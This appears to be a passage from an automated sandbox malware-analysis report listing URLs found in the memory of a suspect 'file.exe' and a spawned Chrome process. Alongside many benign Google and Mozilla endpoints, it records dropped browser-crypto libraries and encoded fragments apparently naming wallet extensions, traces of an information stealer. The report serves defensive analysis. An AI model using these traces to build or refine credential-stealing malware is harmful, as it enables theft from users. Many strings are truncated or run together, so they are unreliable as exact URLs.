Source: chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000001.00000002.1916247246.0000288400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1845392035.00002F3405F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1917217441.0000288400770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1916247246.0000288400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000002.1916247246.0000288400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard(
Source: chrome.exe, 00000001.00000003.1845392035.00002F3405F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard/4
Source: chrome.exe, 00000001.00000003.1847363133.000028840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1806069965.0000288400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000003.1847363133.000028840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1806069965.0000288400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000002.1917217441.0000288400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000002.1917217441.0000288400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000002.1920252450.00002F3404854000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841985154.00002F34058EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844070267.00002F3405914000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841921354.00002F34058E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843586369.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1842073838.00002F34058F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841756574.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843630114.00002F340584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1847363133.000028840080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1806069965.0000288400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1806733580.00002884006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1806069965.0000288400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000002.1917280354.000028840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000001.00000002.1917280354.000028840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000001.00000002.1917185473.0000288400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000002.1919923244.00002F3404730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843910828.00002F3405030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000001.00000002.1920252450.00002F3404854000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841985154.00002F34058EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844070267.00002F3405914000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841921354.00002F34058E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843586369.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1842073838.00002F34058F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841756574.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843630114.00002F340584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000001.00000002.1920082982.00002F3404780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000001.00000002.1921613932.00002F3404B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920516368.00002F3404908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925484679.00002F34052EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000001.00000002.1920371053.00002F34048AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925284370.00002F3405298000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922638446.00002F3404D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000001.00000002.1925284370.00002F3405298000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000001.00000002.1920371053.00002F34048AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925992264.00002F34053E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922638446.00002F3404D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000001.00000002.1925992264.00002F34053E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones/
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000002.1921220001.00002F3404ACC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922638446.00002F3404D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000001.00000002.1922824464.00002F3404DEF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922786096.00002F3404DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000001.00000002.1919400905.00002F340460C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000001.00000003.1842602939.00002F340587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000002.1924929530.00002F340520C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000001.00000003.1844042118.00002F3404694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1842602939.00002F340587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1842602939.00002F340587C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1925184846.00002F340527C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820177452.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1865276547.00002F340618C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000001.00000002.1925184846.00002F340527C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820177452.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919725001.00002F34046E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919725001.00002F34046E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820177452.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1865276547.00002F340618C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1925184846.00002F340527C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820177452.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000002.1925117784.00002F3405264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820177452.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925150248.00002F3405270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1865276547.00002F340618C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924971257.00002F3405230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000001.00000002.1922824464.00002F3404DEF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922786096.00002F3404DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000002.1923497506.00002F3404F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926274355.00002F3405554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000001.00000002.1926274355.00002F3405554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true/
Source: chromecache_76.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_76.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000001.00000002.1922786096.00002F3404DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000002.1918754431.00002F34044AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000001.00000002.1918658831.00002F3404484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000001.00000003.1832708025.00002F340473C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000001.00000002.1920252450.00002F3404854000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841985154.00002F34058EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1844070267.00002F3405914000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841921354.00002F34058E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843586369.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1842073838.00002F34058F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841756574.00002F3405830000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843630114.00002F340584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: DBGHDGHCGHCAAKFIIECFHCFBFC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DBGHDGHCGHCAAKFIIECFHCFBFC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DBGHDGHCGHCAAKFIIECFHCFBFC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1918576916.000000001D33D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1918576916.000000001D33D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2074918053.0000000000386000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: chrome.exe, 00000001.00000002.1923049839.00002F3404E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chromecache_76.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2076174463.0000000001164000.00000004.00000020.00020000.00000000.sdmp, HDGIEBGHDAEBGDGCFIID.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1927225973.0000000001186000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, JKKFIIEB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000001.00000002.1920914524.00002F3404A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000001.00000002.1923771663.00002F340501C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000001.00000002.1923771663.00002F340501C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: file.exe, 00000000.00000002.2076174463.0000000001164000.00000004.00000020.00020000.00000000.sdmp, HDGIEBGHDAEBGDGCFIID.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1832708025.00002F340473C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000001.00000003.1832708025.00002F340473C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1832708025.00002F340473C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1820789788.00002F34050EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921140526.00002F3404A98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820721219.00002F34050E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819967690.00002F34050D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000002.1924079534.00002F34050B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922131914.00002F3404C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000001.00000002.1918707839.00002F34044A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000001.00000002.1923250025.00002F3404ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922314051.00002F3404C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922674437.00002F3404D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000001.00000002.1923250025.00002F3404ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922314051.00002F3404C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922674437.00002F3404D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: file.exe, 00000000.00000003.1927225973.0000000001186000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921613932.00002F3404B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920516368.00002F3404908000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920764651.00002F34049C4000.00000004.00000800.00020000.00000000.sdmp, JKKFIIEB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000002.1920764651.00002F34049C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico4/7
